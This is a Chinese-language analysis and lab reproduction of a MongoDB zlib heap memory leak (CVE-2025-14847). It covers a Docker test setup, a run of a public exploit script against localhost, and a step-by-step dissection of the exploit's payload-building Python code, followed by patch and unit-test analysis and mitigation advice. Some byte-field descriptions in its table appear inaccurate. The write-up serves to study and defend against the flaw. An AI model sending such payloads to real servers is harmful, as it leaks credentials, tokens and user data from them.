类型:无认证远程堆内存泄露
危害:攻击者无需认证即可从服务器内存中提取敏感数据,可能包括数据库凭证、API密钥、会话令牌、用户数据等
根源在于MongoDB的zlib网络消息压缩处理逻辑:
几乎所有2017年以来启用zlib压缩的MongoDB Server版本,包括主流分支:
1.docker环境 docker-compose.yml
version: '3.8'
services: # 受漏洞影响的版本(开启 Zlib) mongodb-vulnerable: image: mongo:6.0.14 container_name: mongodb-vulnerable ports: - "27017:27017" command: mongod --networkMessageCompressors snappy,zlib
# 已修复的版本(用于对比测试) mongodb-patched: image: mongo:6.0.27 container_name: mongodb-patched ports: - "27018:27017" command: mongod --networkMessageCompressors snappy,zlib
volumes: mongodb-data: mongodb-patched-data:
拉取镜像
docker-compose up -d
git clone https://github.com/cybertechajju/CVE-2025-14847_Expolit.gitcd CVE-2025-14847_Expolit
创建虚拟环境
python -m venv myenvsource myenv/bin/activate
安装依赖包
pip install -r requirements.txtpython mongobleed_pro.py -h
使用本地的27017漏洞版本测试
python mongobleed_pro.py --target http://localhost:27017
泄露了数据,保存在本地的dump_localhost.bin,loot_localhost.txt
同时测试一下27018端口
没有漏洞
我们从exp上去分析一下 第一步:
sock = socket.socket()sock.settimeout(3)sock.connect((host, port)) # 尝试连接MongoDB默认端口27017
第二步: check_vulnerability()漏洞存在性检测
def check_vulnerability(host, port): hacker_loading("Probing target defenses", 1) test_offsets = [100, 500, 1000, 1500, 2000, 3000] for offset in test_offsets: response = send_probe(host, port, offset, offset + 500) if extract_leaks(response): return True return False
通过不同的"偏移量(offset)"发送请求,只要能从响应中提取到非预期数据,就判定目标漏洞未修复。
第三步: send_probe()构造payload
# 1. 构造畸形的BSON文档(MongoDB的数据格式)content = b'\x10a\x00\x01\x00\x00\x00'bson = struct.pack('<i', doc_len) + content # 伪造文档长度(关键漏洞触发点)
# 2. 封装为MongoDB的OP_MSG消息op_msg = struct.pack('<I', 0) + b'\x00' + bson
# 3. 压缩消息(触发漏洞的关键操作)compressed = zlib.compress(op_msg)
# 4. 构造最终恶意载荷(包含压缩标识+畸形数据)payload = struct.pack('<I', 2013) + struct.pack('<i', buffer_size) + struct.pack('B', 2) + compressed
# 5. 加上MongoDB协议头,发送给目标header = struct.pack('<IIII', 16 + len(payload), 1, 0, 2012)sock.sendall(header + payload)
第四步: 发送请求并接收泄露数据(send_probe()后续逻辑)
response = b''while len(response) < 4 or len(response) < struct.unpack('<I', response[:4])[0]: chunk = sock.recv(4096) #持续接受响应(直到完整读取) if not chunk: break response += chunk
获取目标返回的、包含内存泄漏数据的响应包
第五步: 提取泄露的内存数据即 extract_leaks函数 批量提取+敏感信息识别run_exploit() + analyze_secrets() 还有保存攻击结果(持久化loot)
https://github.com/mongodb/mongo/blob/r8.0.16/src/mongo/transport/message_compressor_zlib.cpp
原本用于返回解压数据大小的行使用了return {output.length()};这行代码,它告诉代码返回已分配的内存量,而不是解压数据的实际长度。新的return {length};确保只返回解压缩数据的实际长度。
https://github.com/mongodb/mongo/blob/master/src/mongo/transport/message_compressor_zlib.cpp
进一步分析可以发现,在新的src/mongo/transport/message_compressor_manager_test.cpp中多了一个checkUndersize函数
voidcheckUndersize(const Message& compressedMsg, std::unique_ptr<MessageCompressorBase> compressor) { MessageCompressorRegistry registry; const auto compressorName = compressor->getName();
std::vector<std::string> compressorList = {compressorName}; registry.setSupportedCompressors(std::move(compressorList)); registry.registerImplementation(std::move(compressor)); registry.finalizeSupportedCompressors().transitional_ignore();
MessageCompressorManager mgr(®istry); BSONObjBuilder negotiatorOut; std::vector<StringData> negotiator({compressorName}); mgr.serverNegotiate(negotiator, &negotiatorOut); checkNegotiationResult(negotiatorOut.done(), {compressorName});
auto swm = mgr.decompressMessage(compressedMsg); ASSERT_EQ(ErrorCodes::BadValue, swm.getStatus());}
核心逻辑在 mgr.decompressMessage(compressedMsg):调用压缩器管理器解压传入的"异常"的压缩消息 ASSERT_EQ(ErrorCodes::BadValue, swm.getStatus()):单元测试断言主要目的是验证当传入一个 "尺寸异常(undersize)" 的压缩消息时,消息解压逻辑能正确返回 ErrorCodes::BadValue 错误码
同时在下面也给到了测试用例 重点看一下Zlib的测试用例
TEST(ZlibMessageCompressor, Undersize) { // 1. 构造Zlib算法的"尺寸异常"二进制消息数据 std::vector<std::uint8_t> payload = { 0x3c, 0x00, 0x00, 0x00, 0xad, 0xde, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xdc, 0x07, 0x00, 0x00, 0xdd, 0x07, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x02, 0x78, 0xda, 0x63, 0x60, 0x00, 0x82, 0xdf, 0xf2, 0x0c, 0x0c, 0xac, 0xf1, 0x99, 0x29, 0x0c, 0x0c, 0x02, 0x40, 0x9e, 0x87, 0xab, 0x63, 0x80, 0x8f, 0xab, 0xa3, 0x37, 0x03, 0x12, 0x00, 0x00, 0x6d, 0x26, 0x04, 0x97};
// 2. 分配缓冲区并拷贝数据 auto buffer = SharedBuffer::allocate(payload.size()); std::copy(payload.begin(), payload.end(), buffer.get());
// 3. 调用测试函数:传入异常消息 + Zlib压缩器实例 checkUndersize(Message(buffer), std::make_unique<ZlibMessageCompressor>());}
| 字节范围 | 含义 | 对应 payload 值 | 说明 |
|---|---|---|---|
| 0-3 | 消息总长度(小端序 uint32) | 0x3c 0x00 0x00 0x00 | 解析为十进制 60 → 声明消息总长度是 60 字节 |
| 4-7 | 魔数 / 标识 | 0xad 0xde 0x00 0x00 | MongoDB 自定义的压缩消息标识(0xADDE 是固定值) |
| 8-11 | 保留字段 | 0x00 0x00 0x00 0x00 | 无实际意义,占位 |
| 12-15 | 压缩器类型(小端序 uint32) | 0xdc 0x07 0x00 0x00 | 解析为十进制 2012 → 标识这是 Zlib 压缩的数据(不同压缩器有专属数值) |
| 16-19 | 保留字段 | 0xdd 0x07 0x00 0x00 | 占位 |
| 20-23 | 原始数据长度(小端序 uint32) | 0x00 0x20 0x00 0x00 | 解析为十进制 8192 → 声明解压后原始数据长度是 8192 字节 |
| 24 | 压缩算法标识 | 0x02 | Zlib 的算法标识(Snappy 是 0x01,Zstd 是 0x03) |
| 25+ | Zlib 压缩数据体 | 0x78 0xda ... 0x04 0x97 | Zlib 格式的压缩数据(但被故意构造为 "尺寸不足") |
60-25=35 字节 → 远不足以解压出 8192 字节的原始数据,解压逻辑会检测到 "数据尺寸不足"。1.立即升级到已修复版本: 立即升级到: 8.2.3、8.0.17、7.0.28、6.0.27、5.0.32、4.4.30 MongoDB Atlas(托管版)已自动修复。
2.临时缓解: 禁用 zlib 压缩 (启动参数:--networkMessageCompressors=snappy,zstd 或配置文件中排除 zlib) 不要将27017端口暴露在互联网 数据库访问设置白名单,不要设置任何ip可访问